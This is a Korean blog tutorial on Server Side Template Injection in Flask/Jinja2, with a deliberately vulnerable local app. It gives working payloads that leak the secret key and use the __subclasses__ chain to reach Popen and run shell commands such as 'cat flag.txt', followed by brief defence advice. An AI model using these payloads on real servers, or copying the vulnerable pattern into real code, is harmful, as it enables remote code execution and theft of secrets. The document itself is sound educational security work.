[WEB] SSTI(Server Side Template Injection) 취약점

두비니

·

2021. 8. 5. 10:23

 

 

 

 

 


SSTI

Server Side Template Injection


 

0. 배경지식

 

 

  SSTI에 대해서 논하기 전에, 먼저 기본적으로 알고 있어야 할 지식들에 대해서 소개합니다.

  우선 Template에 대해서 소개합니다. 웹페이지는 유저와 데이터를 주고받는지에 대한 여부에 따라 정적 웹페이지동적 웹페이지로 나뉩니다. 당연히 동적 웹페이지를 구성하는게 훨씬 더 자유도가 높겠죠? 따라서 대부분의 웹페이지가 동적 웹페이지로 구성되어있습니다. 주로 웹페이지는 HTML, CSS, JavaScript, PHP 등의 언어를 사용해서 구현합니다. 그러나 위 언급한 언어를 사용하여 동적 웹페이지를 구현하는 것보다 템플릿이라는 것을 사용하는 것이 훨씬 더 간편하고, 유지보수하기 쉽습니다.

  웹 템플릿의 종류는 정말 많으며, 각 웹 템플릿에 따라 다양한 문법을 구사하고 있습니다. 대표적인 웹 템플릿으로는 Smarty, Mako, Jinja2, Twig 등이 있습니다. 아래는 유형별로 각 언어를 구분하는 방법을 도식화시킨 사진입니다.

 

출처 : https://portswigger.net/web-security/server-side-template-injection

 

1. SSTI에 대하여

 

 

  먼저 이론적으로 어떤 공격인지에 대해서 알아봅시다. SSTI는 우선 Server Side Template Injection입니다. 즉, Server의 기준으로 어떤 template를 이용하였을 때, injection이 가능하다는 내용입니다. 앞서 이야기한 template를 악용하여 단순 변수가 아니라 서버 내부의 파일, 나아가 RCE(Remote Code Execution)을 삽입할 경우 그 값들이 노출/실행되어버리는 취약점입니다.

  이 취약점은 결론적으로 삽입된 템플릿이 서버측에서 해석이 되기 때문에 문제가 됩니다. 심각할 경우 페이지에서 eval함수를 쓴 것과 동일할 정도로 취약해집니다. 삽입하는 값은 문법에 따라 달라지는데, 오늘 저는 flask의 jinja2 문법을 사용하도록 하겠습니다.

 

2. 실습

 

 

직접 실습해봅시다! 저는 jinja2를 활용하여 로컬에서 SSTI를 실습해볼 수 있는 코드를 작성하였습니다. Flask는 설정을 해주지 않는 경우 기본적으로 jinja2를 사용하기 때문에, jinja2로 실습을 진행하였습니다.

 

#!/usr/bin/python3
#-*- coding:utf-8 -*- 

from flask import Flask, request, render_template_string
app=Flask(__name__)

with open('flag.txt', 'r') as f:
	flag = f.read()
	
app.secret_key=str(flag)

@app.route('/')
def home():
	title="SSTI 실습을 해봅시다"
	content = request.args.get('content')
	thisistemp='''
	<!DOCTYPE html>
	<html>
		<head>
			<meta charset="utf-8">
			<title>SSTI</title>
		</head>
		<body>
			<h1>{{title}}</h1>
			<h2>%s</h2>
		</body>
	</html>'''%content				#vuln!
	return render_template_string(thisistemp, title=title)

if __name__ == '__main__':
	app.run(host='127.0.0.1', port=8080)

 

코드를 분석해보면, 우리가 일반적으로는 볼 수 없는 secret_key가 있고, 페이지 자체는 argument로 content를 받아서 template를 통해 출력을 시켜주는 간단한 사이트네요. 대신 thisistemp라는 템플릿을 보면, content를 받아서 그대로 템플릿에 집어넣어서 문제가 발생하는 것을 볼 수 있습니다. 따라서 이걸 기반으로 SSTI 공격을 해봅시다.

 

 

짠! 잘 실행된 것을 볼 수 있습니다. 뒤에 content값을 넣어서 잘 출력되는지 확인해봅시다.

 

템플릿도 동적으로 값을 받아서 잘 출력시켜주는 것을 볼 수 있습니다. 그럼 이제 여기에 단순 string값이 아닌 템플릿 자체를 넣었을 때 어떤 일이 발생하는지 봅시다.

 

 

오 단순히 {{7*7}}이라는 문자열이 출력되는게 아니라, 49라는 계산값이 출력되었네요. SSTI 취약점이 발견되는 것을 확인했으며, 단순한 계산값말고 더 재미있는 값들을 넣어봅시다.

 

우리가 결론적으로 얻고자 하는 것은 맨 처음에 선언해둔 FLAG값입니다.

app=Flask(__name__)

with open('flag.txt', 'r') as f:
	flag = f.read()
    
app.secret_key=str(flag)

 

현재 코드는 SSTI에 대한 검증을 전혀 하고 있지 않습니다. 이걸 이용하여 플래그 값을 출려시켜봅시다.

http://127.0.0.1:8080/?content={{config[%27SECRET_KEY%27]}}

 

짠! 좋습니당. 이번에는 단순히 변수출력이 아닌 직접 flag.txt를 출력시켜봅시다. 

?content={{config.items()}}

다음을 삽입하여 결과값을 봅시다.

이미 secret_key를 통해서 플래그 값이 보이긴 하지만, 우리의 목표는 로컬파일을 여는 것이니 일단 무시합시다. 아무튼 이 결과값들은 config 내부에 있는 값들을 딕셔너리 형태로 출력시킨 것입니다. 우리가 할 수 있는 일은 os라이브러리를 포함시켜서 os내부의 config 딕셔너리 또한 추가시키는 것입니다. os 라이브러리 내부에는 popen이나 os등의 실행 함수들이 있기 때문에 이를 사용할 예정입니다.

 

{{config.from_object('os')}}*
{{config.items()}}

 

위 두 명령어를 실행할 경우 결과창은 이전 config.items()했을 때와 비슷하지만 뭐가 더 많이 생긴 것을 볼 수 있습니다. os의 config 딕셔너리가 추가되었다는 뜻이겠죠?

 

{{''.__class__.__mro__}}

 

다음 코드를 집어넣어서 우리가 사용할 수 있는 클래스를 검색해봅시다.

 

 

str과 object의 두 클래스가 반환이 되는데, python에서 함수들은 모두 object class이므로 저 클래스에 해당되는 값들을 보면 함수들을 찾을 수도 있겠다는 합리적 의심을 할 수 있습니다. {{''.__class__.__mro__[1].__subclasses__()}}로 어떤 값들이 있는지 봅시다.

{{''.__class__.__mro__[1].__subclasses__()}}

 

수많은 클래스 중 popen이 있는 것을 확인할 수 있습니다. 이걸 통해서 플래그를 출력시켜봅시다.

우선 슬라이싱을 통해서 popen이 202번째 값인걸 알아냈습니다.

여기서부터는 그냥 popen을 쓰듯이 코드를 활용하시면 됩니다. 저는 다음과 같이 사용했습니다.

http://127.0.0.1:8080/?content={{%27%27.__class__.__mro__[1].__subclasses__()[202](%27ls%27,shell=True,stdout=-1).communicate()}}

 

이렇게 로컬 ls가 보이는 것을 볼 수 있는데, 이건 실제 제 로컬 디렉토리와 동일합니다.

그럼 ls대신 cat flag를 해주면 되겠죵?

http://127.0.0.1:8080/?content={{%27%27.__class__.__mro__[1].__subclasses__()[202](%27cat%20flag.txt%27,shell=True,stdout=-1).communicate()}}

 

 

저는 단순히 연습용으로 허접하게 만들었지만, 실제 CTF문제나 real-world에서는 필터링이 걸려있다거나, 다른 보호기법이 걸려있는 등 제한조건이 더 많겠죠?

 

3. 보호기법

 

  앞서 언급한 적이 있지만, SSTI 취약점은 적절한 필터링을 거치지 않기 때문에 발생하는 취약점입니다. 동적 데이터를 템플릿 내부에서 바로 처리해버러셔 주로 발생을 합니다. 따라서 동적데이터를 템플릿으로 저장할 때 템플릿 내에서 처리하지 않고, 템플릿 엔진의 기능을 사용하여 쓰는 것도 SSTI 취약점을 방어하는데 도움이 됩니다.

 

4. 결론

 

개인적으로 가장 재미있는 취약점인 것 같습니다. 배운 김에 문제도 몇 문제 풀어봤는데, 매번 느끼지만 보안은 기본적으로 개발부분의 지식이 받쳐주어야하는 것 같습니다. 시간이 된다면 case별 SSTI도 정리해서 올리는 것으로 하겠습니다. 재밌당 끝!!

 

 

참고

 

https://portswigger.net/research/server-side-template-injection

https://me2nuk.com/SSTI-Vulnerability/

https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)#3-ssti-%ED%95%84%ED%84%B0%EB%A7%81-%EC%9A%B0%ED%9A%8C-in-ctf---jinja2